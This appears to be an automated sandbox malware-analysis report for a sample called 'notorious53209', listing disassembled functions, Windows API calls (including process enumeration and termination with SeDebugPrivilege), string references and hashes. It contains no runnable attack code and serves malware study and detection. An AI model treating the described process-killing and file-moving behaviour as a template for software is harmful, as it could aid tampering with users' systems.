Opcode ID: c8a8de9d6a5d4898c7f95e7d64cafabbe0f7aad079572cb4faedb9fd0a0d263e
Instruction ID: e719d5453b956b13a2e15bb8d096bb7516d283280b1a9efad1ec42a56c907fb4
Opcode Fuzzy Hash: c8a8de9d6a5d4898c7f95e7d64cafabbe0f7aad079572cb4faedb9fd0a0d263e
Instruction Fuzzy Hash: 7E618D70120611DFDB2AAF14EE4CB35B7F1FB50356F10852DE58296971C771A8A9DF80

Function 00294F63 Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 002948AA: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,002938D3,?), ref: 002948C7

Part of subcall function 002948AA: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,002938D3,?), ref: 002948E0

Part of subcall function 00294CD3: GetFileAttributesW.KERNEL32(?,00293947), ref: 00294CD4

lstrcmpiW.KERNEL32(?,?), ref: 00294FE2
_wcscmp.LIBCMT ref: 00294FFC
MoveFileW.KERNEL32(?,?), ref: 00295017

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
String ID:
API String ID: 793581249-0
Opcode ID: 624dbcde33ec8e1fa19ba7efeac8c1c55a81e6dca90ccf5712b386eda086dde7
Instruction ID: 38117c1243c3e85b536baf021a4b88892f6f1d28be867e0a9c8da8f9a0bbac54
Opcode Fuzzy Hash: 624dbcde33ec8e1fa19ba7efeac8c1c55a81e6dca90ccf5712b386eda086dde7
Instruction Fuzzy Hash: A25174B21187859BCB25EF50DC819DFB3ECAF85341F00092EF589D3151EE74A19D8B66

Function 002B88B4 Relevance: 13.7, APIs: 9, Instructions: 168COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001), ref: 002B896E

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 71c0f04fa8088b28f20c45927add3325e8ef46942afd5cb76f15d565d42f3cc8
Instruction ID: 3107e518fe0e889e31225f9088621241ac442716c601fca803a23370e4ffc2b7
Opcode Fuzzy Hash: 71c0f04fa8088b28f20c45927add3325e8ef46942afd5cb76f15d565d42f3cc8
Instruction Fuzzy Hash: 27517530520209BFEF209F24DC89BE97B6DFF05390F604116F919E66A1DF71A9A0DB51

Function 00232B72 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 0026C547
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0026C569
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 0026C581
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 0026C59F
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 0026C5C0
DestroyCursor.USER32(00000000), ref: 0026C5CF
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 0026C5EC
DestroyCursor.USER32(?), ref: 0026C5FB

Part of subcall function 002BA71E: DeleteObject.GDI32(00000000), ref: 002BA757

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: CursorDestroyExtractIconImageLoadMessageSend$DeleteObject
String ID:
API String ID: 2975913752-0
Opcode ID: 69039d4369e56fc6c89f707ffe170712ea53c5eee63dc3329b2d50d33d5659e7
Instruction ID: 210ca09f8a7383f721a3ebbf6e3d619083e6a466b466001c0dcc94d2b41e2384
Opcode Fuzzy Hash: 69039d4369e56fc6c89f707ffe170712ea53c5eee63dc3329b2d50d33d5659e7
Instruction Fuzzy Hash: 41517EB0A20209EFDB20DF24DC49FBA77B5EB54754F204529F942A7290DB70EDA4DB50

Function 00288E03 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,00288A84,00000B00,?,?), ref: 00288E0C
RtlAllocateHeap.NTDLL(00000000,?,00288A84), ref: 00288E13
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00288A84,00000B00,?,?), ref: 00288E28
GetCurrentProcess.KERNEL32(?,00000000,?,00288A84,00000B00,?,?), ref: 00288E30
DuplicateHandle.KERNEL32(00000000,?,00288A84,00000B00,?,?), ref: 00288E33
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00288A84,00000B00,?,?), ref: 00288E43
GetCurrentProcess.KERNEL32(00288A84,00000000,?,00288A84,00000B00,?,?), ref: 00288E4B
DuplicateHandle.KERNEL32(00000000,?,00288A84,00000B00,?,?), ref: 00288E4E
CreateThread.KERNEL32(00000000,00000000,00288E74,00000000,00000000,00000000), ref: 00288E68

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocateCreateThread
String ID:
API String ID: 1422014791-0
Opcode ID: fa507b0997be8ed2c2ba3040536a38b1dff66a8abc1cddd743d3991221a93e80
Instruction ID: ad8d9f2cf9fca08bba3e5f74c56be894746aacef606e4202780ead0a678355dc
Opcode Fuzzy Hash: fa507b0997be8ed2c2ba3040536a38b1dff66a8abc1cddd743d3991221a93e80
Instruction Fuzzy Hash: 8B01A8B5250308FFE650AFA9ED4DF6B3BACEB89711F404521FA09DB1A1CA7098008B20

Function 002A9428 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 263COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002A947C
VariantInit.OLEAUT32(?), ref: 002A954D
VariantInit.OLEAUT32(?), ref: 002A964E
VariantClear.OLEAUT32(?), ref: 002A9658
VariantClear.OLEAUT32(?), ref: 002A96B5

Strings

Incorrect Object type in FOR..IN loop, xrefs: 002A9631
Null Object assignment in FOR..IN loop, xrefs: 002A94DD, 002A960B, 002A96C3

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-625585964
Opcode ID: eea848147e11ab01af3df153d5023ea59bd69c1ab7dd33ebdd931a10f77d95f6
Instruction ID: 759eb615bf68caa08ee64df472c9d6e65e55e7c98bdeaf2cf162b64f6796d187
Opcode Fuzzy Hash: eea848147e11ab01af3df153d5023ea59bd69c1ab7dd33ebdd931a10f77d95f6
Instruction Fuzzy Hash: 2B91CF70E20215ABDF24CFA6C848FAFB7B8EF46710F108159F505AB280DB709995CFA0

Function 002B6FEF Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 002B7093
SendMessageW.USER32(?,00001036,00000000,?), ref: 002B70A7
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 002B70C1
_wcscat.LIBCMT ref: 002B711C
SendMessageW.USER32(?,00001057,00000000,?), ref: 002B7133
SendMessageW.USER32(?,00001061,?,0000000F), ref: 002B7161

Strings

SysListView32, xrefs: 002B7065

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: ca5a484860a1b580d477ad9941d2dcf8862d3acc5161c29f88ee7396af24ad15
Instruction ID: 21dac2d74a38645b43ba0d45acb494cdb1ccae387576290ab89397e134260b47
Opcode Fuzzy Hash: ca5a484860a1b580d477ad9941d2dcf8862d3acc5161c29f88ee7396af24ad15
Instruction Fuzzy Hash: 7E41A571924309AFDB21DF64CC85BEEB7B8EF48390F10092AF954E7191D671AD948B60

Function 002AEC47 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00293E91: CreateToolhelp32Snapshot.KERNEL32 ref: 00293EB6
Part of subcall function 00293E91: Process32FirstW.KERNEL32(00000000,?), ref: 00293EC4
Part of subcall function 00293E91: CloseHandle.KERNEL32(00000000), ref: 00293F8E

OpenProcess.KERNEL32(00000001,00000000,?), ref: 002AECB8
GetLastError.KERNEL32 ref: 002AECCB
OpenProcess.KERNEL32(00000001,00000000,?), ref: 002AECFA
TerminateProcess.KERNEL32(00000000,00000000), ref: 002AED77
GetLastError.KERNEL32(00000000), ref: 002AED82
CloseHandle.KERNEL32(00000000), ref: 002AEDB7

Strings

SeDebugPrivilege, xrefs: 002AECD6

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: ece5277e45de2c61bb01f1d38780afba443e37a703bfc676127684ca246ac1d8
Instruction ID: c50607f05bbf8ae1e686ff250255cce242d591bcbb20e8768082401e957a6d55
Opcode Fuzzy Hash: ece5277e45de2c61bb01f1d38780afba443e37a703bfc676127684ca246ac1d8
Instruction Fuzzy Hash: 3F41E2702202019FDB14EF24CC99F6DB7A5AF81710F198459F9429F2D2DFB5A825CF91

Function 00293226 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 002932C5

Strings

question, xrefs: 0029327E
warning, xrefs: 002932AE
stop, xrefs: 00293296
info, xrefs: 00293266
blank, xrefs: 00293247

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 0b48cc408c8855344019b1c96e1fe2d6f86a26c7df9efc735f9d0d402ea90275
Instruction ID: a484b4900a875207569351d4975a2696f13e2014c86df7dcaa181cad4468c7ad
Opcode Fuzzy Hash: 0b48cc408c8855344019b1c96e1fe2d6f86a26c7df9efc735f9d0d402ea90275
Instruction Fuzzy Hash: 5C110831A78387BAAF01DF55DC42C6BB39CDF1A3A0F10006AFD05A6181D6B16F6049A5

Function 00294534 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 0029454E
LoadStringW.USER32(00000000), ref: 00294555
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 0029456B
LoadStringW.USER32(00000000), ref: 00294572
_wprintf.LIBCMT ref: 00294598
MessageBoxW.USER32(00000000,?,?,00011010), ref: 002945B6

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00294593

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: 805058347286918ecc642af46758f93e094bad9d60813bd1e29dbd62ff95d5d3
Instruction ID: a6b293d4fd5c1ec75599bef3e54efa5455d9a6f262146570edc97b8dab8a2428
Opcode Fuzzy Hash: 805058347286918ecc642af46758f93e094bad9d60813bd1e29dbd62ff95d5d3
Instruction Fuzzy Hash: CD0167F2510208BFE751E7A4DE8DEF7776CD708301F4005A6BB49D2051E6745E958B74

Function 00232A5B Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,?), ref: 00232ACF
ShowWindow.USER32(FFFFFFFF,00000000), ref: 00232B17
ShowWindow.USER32(FFFFFFFF,00000006), ref: 0026C46A
ShowWindow.USER32(FFFFFFFF,?), ref: 0026C4D6

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: a46508e392aff616eaf43db1132c66589a3c2d72186befa75b5b834392cbd3c6
Instruction ID: b7808617df8e9f9e74393e3b4a8a259b9734a18d0705d346a20dab9005843dc6
Opcode Fuzzy Hash: a46508e392aff616eaf43db1132c66589a3c2d72186befa75b5b834392cbd3c6
Instruction Fuzzy Hash: 42414AB0238781DBC735DF28DD9C77A7BE2AF45314F24881DE0C786560CAB5A8A9D710

Function 00297368 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 0029737F

Part of subcall function 00250FF6: std::exception::exception.LIBCMT ref: 0025102C
Part of subcall function 00250FF6: __CxxThrowException@8.LIBCMT ref: 00251041

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 002973B6
RtlEnterCriticalSection.NTDLL(?), ref: 002973D2
_memmove.LIBCMT ref: 00297420
_memmove.LIBCMT ref: 0029743D
RtlLeaveCriticalSection.NTDLL(?), ref: 0029744C
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 00297461
InterlockedExchange.KERNEL32(?,000001F6), ref: 00297480

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: 2629e0971814aca7581a943d0e57924cd8c3f0e9d6ebc6825072e30a2b3868dd
Instruction ID: 4d821de58e789734c19819ca0d5d0212d468f214712a8af1b85ac34c324d80c6
Opcode Fuzzy Hash: 2629e0971814aca7581a943d0e57924cd8c3f0e9d6ebc6825072e30a2b3868dd
Instruction Fuzzy Hash: 2D319031914205EBDF10DF68DD89AAF7B78EF44711B1441B5FD04AB246DB309E64CBA4

Function 002B6442 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 002B645A
GetDC.USER32(00000000), ref: 002B6462
GetDeviceCaps.GDI32(00000000,0000005A), ref: 002B646D
ReleaseDC.USER32(00000000,00000000), ref: 002B6479
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 002B64B5
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 002B64C6
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 002B6500
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 002B6520

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 4d5f5987e6ee03e3776d8ef18dced0fc5bdbf1ae760352cadfe2eeefe748e53c
Instruction ID: b6dc45aa7795c01e90014f8bc416e860cacc0c73d07916deb71a415ba0cf4f7a
Opcode Fuzzy Hash: 4d5f5987e6ee03e3776d8ef18dced0fc5bdbf1ae760352cadfe2eeefe748e53c
Instruction Fuzzy Hash: 9D319C72210210BFEB218F10DD8AFEA3FADEF09761F040165FE089A2A5C6759C51CB60

Function 0028C072 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 0028C087
_memcmp.LIBCMT ref: 0028C0A9
_memcmp.LIBCMT ref: 0028C0C1
_memcmp.LIBCMT ref: 0028C0D4
_memcmp.LIBCMT ref: 0028C0EE
_memcmp.LIBCMT ref: 0028C101
_memcmp.LIBCMT ref: 0028C119
_memcmp.LIBCMT ref: 0028C134

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: f0e86b0b3f3356c2a2e5533ad1ae1828833daed2b5e71639dafcf1c6cd42ff0d
Instruction ID: 80e4e91a285adbb82d179fdc5e3f0d5ebd572122f0972a22b9ba54da3f0afa47
Opcode Fuzzy Hash: f0e86b0b3f3356c2a2e5533ad1ae1828833daed2b5e71639dafcf1c6cd42ff0d
Instruction Fuzzy Hash: 3D21C575A32206B7D214B9209C86FAB235CAF213D9F244025FD09962C2EB71DE3987B5

Function 00231424 Relevance: 10.7, APIs: 7, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 506504faebe8a6a0b01e9163c2f71b058f00bba8477e1b0258cf744f50e3a795
